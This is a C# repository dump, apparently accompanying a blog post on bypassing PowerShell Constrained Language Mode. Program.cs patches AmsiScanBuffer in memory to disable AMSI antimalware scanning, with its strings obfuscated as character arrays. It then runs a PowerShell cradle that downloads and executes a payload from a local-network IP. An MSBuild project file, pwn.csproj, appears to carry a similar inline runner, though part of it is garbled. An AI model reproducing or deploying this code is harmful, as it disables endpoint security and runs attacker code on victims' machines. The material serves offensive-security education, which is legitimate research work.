├── README.md ├── Bypass ├── obj │ ├── Debug │ │ ├── Bypass.csproj.CoreCompileInputs.cache │ │ ├── Bypass.csprojAssemblyReference.cache │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ └── Release │ │ ├── Bypass.csproj.CoreCompileInputs.cache │ │ ├── Bypass.exe │ │ ├── Bypass.pdb │ │ ├── Bypass.csprojAssemblyReference.cache │ │ └── Bypass.csproj.FileListAbsolute.txt ├── bin │ └── Release │ │ ├── Bypass.exe │ │ ├── Bypass.pdb │ │ ├── System.Management.Automation.dll │ │ └── Bypass.exe.config ├── packages.config ├── App.config ├── packages │ └── System.Management.Automation.dll.10.0.10586.0 │ │ ├── lib │ │ └── net40 │ │ │ └── System.Management.Automation.dll │ │ └── System.Management.Automation.dll.10.0.10586.0.nupkg ├── Bypass.sln ├── Properties │ └── AssemblyInfo.cs ├── Program.cs └── Bypass.csproj └── Msbuild └── pwn.csproj /README.md: -------------------------------------------------------------------------------- 1 | # CLMBypassBlogpost 2 | This code was used for the blogpost on secjuice. 3 | -------------------------------------------------------------------------------- /Bypass/obj/Debug/Bypass.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 10dc6330d3c4ccb9b5efb92f02d3bae9eef4a977 2 | -------------------------------------------------------------------------------- /Bypass/obj/Release/Bypass.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 3bbc6ee6b681bd333f96a72558744def909e9f0d 2 | -------------------------------------------------------------------------------- /Bypass/bin/Release/Bypass.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/bin/Release/Bypass.exe -------------------------------------------------------------------------------- /Bypass/bin/Release/Bypass.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/bin/Release/Bypass.pdb -------------------------------------------------------------------------------- /Bypass/obj/Release/Bypass.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/obj/Release/Bypass.exe -------------------------------------------------------------------------------- /Bypass/obj/Release/Bypass.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/obj/Release/Bypass.pdb -------------------------------------------------------------------------------- /Bypass/bin/Release/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/bin/Release/System.Management.Automation.dll -------------------------------------------------------------------------------- /Bypass/obj/Debug/Bypass.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/obj/Debug/Bypass.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Bypass/obj/Release/Bypass.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/obj/Release/Bypass.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Bypass/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Bypass/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Bypass/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Bypass/bin/Release/Bypass.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Bypass/packages/System.Management.Automation.dll.10.0.10586.0/lib/net40/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/packages/System.Management.Automation.dll.10.0.10586.0/lib/net40/System.Management.Automation.dll -------------------------------------------------------------------------------- /Bypass/packages/System.Management.Automation.dll.10.0.10586.0/System.Management.Automation.dll.10.0.10586.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinatoTW/CLMBypassBlogpost/HEAD/Bypass/packages/System.Management.Automation.dll.10.0.10586.0/System.Management.Automation.dll.10.0.10586.0.nupkg -------------------------------------------------------------------------------- /Bypass/obj/Release/Bypass.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\sjaiswal\source\repos\Bypass\bin\Release\Bypass.exe.config 2 | C:\Users\sjaiswal\source\repos\Bypass\bin\Release\Bypass.exe 3 | C:\Users\sjaiswal\source\repos\Bypass\bin\Release\Bypass.pdb 4 | C:\Users\sjaiswal\source\repos\Bypass\bin\Release\System.Management.Automation.dll 5 | C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.csprojAssemblyReference.cache 6 | C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.csproj.CoreCompileInputs.cache 7 | C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.csproj.CopyComplete 8 | C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.exe 9 | C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.pdb 10 | -------------------------------------------------------------------------------- /Bypass/Bypass.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.28711.60 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Bypass", "Bypass.csproj", "{1BB46B35-0938-453F-82D1-8FE83D95F303}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {1BB46B35-0938-453F-82D1-8FE83D95F303}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {1BB46B35-0938-453F-82D1-8FE83D95F303}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {1BB46B35-0938-453F-82D1-8FE83D95F303}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {1BB46B35-0938-453F-82D1-8FE83D95F303}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {64F2FF56-1F1D-4C74-8800-78D504AA2533} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Bypass/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Bypass")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Bypass")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("1bb46b35-0938-453f-82d1-8fe83d95f303")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Bypass/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.ObjectModel; 3 | using System.Runtime.InteropServices; 4 | using System.Management.Automation; 5 | using System.Management.Automation.Runspaces; 6 | 7 | namespace Bypass { 8 | public class BypassCLM 9 | { 10 | [DllImport("kernel32")] 11 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 12 | 13 | [DllImport("kernel32")] 14 | public static extern IntPtr LoadLibrary(string name); 15 | 16 | [DllImport("kernel32")] 17 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 18 | 19 | static int Bypass() 20 | { 21 | char[] chars = { 'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r' }; 22 | String funcName = string.Join("", chars); 23 | 24 | char[] chars2 = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l' }; 25 | String libName = string.Join("", chars2); 26 | 27 | IntPtr Address = GetProcAddress(LoadLibrary(libName), funcName); 28 | 29 | UIntPtr size = (UIntPtr)5; 30 | uint p = 0; 31 | 32 | VirtualProtect(Address, size, 0x40, out p); 33 | Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; 34 | Marshal.Copy(Patch, 0, Address, 6); 35 | 36 | return 0; 37 | 38 | } 39 | public static void Main(String[] args) 40 | { 41 | Runspace run = RunspaceFactory.CreateRunspace(); 42 | run.Open(); 43 | 44 | Console.WriteLine(Bypass()); 45 | 46 | PowerShell shell = PowerShell.Create(); 47 | shell.Runspace = run; 48 | 49 | String exec = "iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')"; // Modify for custom commands 50 | shell.AddScript(exec); 51 | shell.Invoke(); 52 | 53 | Collection output = shell.Invoke(); 54 | foreach (PSObject o in output) 55 | { 56 | Console.WriteLine(o.ToString()); 57 | } 58 | 59 | foreach (ErrorRecord err in shell.Streams.Error) 60 | { 61 | Console.Write("Error: " + err.ToString()); 62 | } 63 | run.Close(); 64 | 65 | } 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /Bypass/Bypass.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {1BB46B35-0938-453F-82D1-8FE83D95F303} 8 | Exe 9 | Bypass 10 | Bypass 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | packages\System.Management.Automation.dll.10.0.10586.0\lib\net40\System.Management.Automation.dll 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /Msbuild/pwn.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 13 | 14 | 15 | 16 | output = shell.Invoke(); 75 | foreach( PSObject o in output ) 76 | { 77 | Console.WriteLine(o.ToString()); 78 | } 79 | 80 | foreach( ErrorRecord err in shell.Streams.Error ) 81 | { 82 | Console.Write("Error: " + err.ToString()); 83 | } 84 | run.Close(); 85 | 86 | return true; 87 | 88 | } 89 | } 90 | ]]> 91 | 92 | 93 | 94 | 95 | --------------------------------------------------------------------------------